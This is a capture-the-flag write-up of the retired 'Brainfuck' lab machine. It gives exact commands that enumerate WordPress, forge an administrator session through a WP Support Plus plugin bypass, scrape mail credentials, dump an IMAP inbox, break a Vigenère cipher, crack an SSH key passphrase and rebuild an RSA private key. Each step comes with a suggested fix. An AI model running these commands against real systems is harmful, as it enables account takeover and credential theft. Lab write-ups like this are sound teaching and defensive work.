Brainfuck
Summary
I discovered a hidden forum by reading the server's own TLS certificate, then chained two vulnerable WordPress plugins to forge a WordPress administrator session with a single HTTP request. Administrator access exposed a mailbox password in plaintext; that password unlocked the user's email, which in turn pointed to a secret forum. Encrypted forum posts were broken by a Vigenère known-plaintext attack, revealing a direct download URL for the user's encrypted SSH private key.
Cracking the key's passphrase with a common wordlist yielded an interactive shell. Finally, a debug file left in the user's home directory disclosed the prime factors of a custom RSA key, letting me reconstruct the private key mathematically and decrypt the root flag without ever gaining a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export KEY2="<the-key-you-recovered>"
export HEX_ID="<a-value-you-captured-earlier>"Some commands also carry a value in angle brackets — <cipher_suffix>, <ciphertext_from_debug_txt>, <e_from_debug_txt>, <p_from_debug_txt>, <q_from_debug_txt> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Dump the TLS cert and extract SAN entries.
$ openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A2 'Subject Alternative'Register all discovered vhosts so subsequent tools resolve them.
$ echo "$TARGET brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb" | sudo tee -a /etc/hostsConfirm the hidden forum vhost responds.
$ curl -k -sS -o /dev/null -w 'sup3rs3cr3t HTTP %{http_code}\n' https://sup3rs3cr3t.brainfuck.htb/Exact commands 1
--disable-tls-checks bypasses the self-signed cert; vp=vulnerable plugins, u=users.
$ wpscan --url https://brainfuck.htb --disable-tls-checks --plugins-detection aggressive --enumerate vp,vt,uFixRemove the vulnerable WP Support Plus plugin and enforce plugin hygieneCritical
Exact commands 2
The plugin's loginGuestFacebook action accepts any username with no password check.
$ curl -k -sS -i -c /tmp/bf_wp.cookie -b /tmp/bf_wp.cookie -X POST 'https://brainfuck.htb/wp-admin/admin-ajax.php' -d 'action=loginGuestFacebook&username=administrator'A 200 (not 302 redirect to login) confirms the cookie grants real dashboard access.
$ curl -k -sS -o /dev/null -w 'wp-admin HTTP %{http_code}\n' -b /tmp/bf_wp.cookie https://brainfuck.htb/wp-admin/Exact commands 1
The settings page renders credentials in HTML form fields; grep extracts them.
$ curl -k -sS -b /tmp/bf_wp.cookie 'https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings' | grep -i 'pass\|smtp_user\|smtp_password'FixStop storing mail credentials in WordPress plugin settings; enforce unique passwords per serviceHigh
Exact commands 2
Dumps every INBOX message body. Look for the forum URL and password.
$ python3 -c "
import imaplib, email as em
m = imaplib.IMAP4('$TARGET', 143)
m.starttls()
m.login('orestis', '$PASSWORD')
m.select('INBOX')
_, ids = m.search(None, 'ALL')
for i in ids[0].split():
_, d = m.fetch(i, '(RFC822)')
print(em.message_from_bytes(d[0][1]).get_payload())
m.logout()
"Alternative interactive IMAP session; issue 'a LOGIN orestis $PASSWORD' then 'a SELECT INBOX' then 'a FETCH 1:* BODY[TEXT]'.
$ openssl s_client -connect $TARGET:143 -starttls imapExact commands 3
Retrieve the forum thread list; repeat for each thread ID to fetch post bodies.
$ curl -k -sS -c /tmp/bf_forum.cookie -b /tmp/bf_forum.cookie 'https://sup3rs3cr3t.brainfuck.htb/api/discussions'Substitute the actual ciphertext of the repeated signature line to get the key '$KEY2'.
$ python3 -c "
def recover_key(ctext, plaintext):
key = ''
ct, pt = ctext.upper(), plaintext.upper()
for c, p in zip(ct, pt):
if c.isalpha() and p.isalpha():
key += chr((ord(c) - ord(p)) % 26 + ord('A'))
return key
# Replace <cipher_suffix> with the ciphertext of the known signature from the forum post
print(recover_key('<cipher_suffix>', 'ORESTIS - HACKING FOR FUN AND PROFIT'))
"Download orestis' SSH private key from the URL revealed in the decrypted forum post.
$ curl -k -sS -o id_rsa "https://brainfuck.htb/$HEX_ID/orestis/id_rsa" && chmod 600 id_rsaFixRemove SSH private keys from web-accessible directoriesCritical
Exact commands 3
Convert the encrypted PEM to john's hash format.
$ ssh2john id_rsa > id_rsa.hashCrack offline; recovers passphrase '$PASSWORD2'.
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hashEnter passphrase '$PASSWORD2' when prompted. Run 'id' and 'cat ~/user.txt' to confirm access.
$ ssh -i id_rsa orestis@brainfuck.htbFixUse a strong, randomly generated SSH key passphraseHigh
Exact commands 2
Run on the target as orestis to read p, q, e, and the ciphertext value.
$ cat ~/encrypt.sage ~/debug.txtOutput is the decrypted root flag: <root.txt>. Verify against /root/root.txt on target.
$ python3 -c "
# Substitute p, q, e, ct from debug.txt
p = <p_from_debug_txt>
q = <q_from_debug_txt>
e = <e_from_debug_txt>
ct = <ciphertext_from_debug_txt>
n = p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
pt = pow(ct, d, n)
print(bytes.fromhex(hex(pt)[2:]).decode())
"FixDelete debug artefacts that expose cryptographic parameters from production systemsCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) |
| 110/tcp | pop3 Dovecot pop3d |
| 143/tcp | imap Dovecot imapd |
| 443/tcp | ssl/http nginx 1.10.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.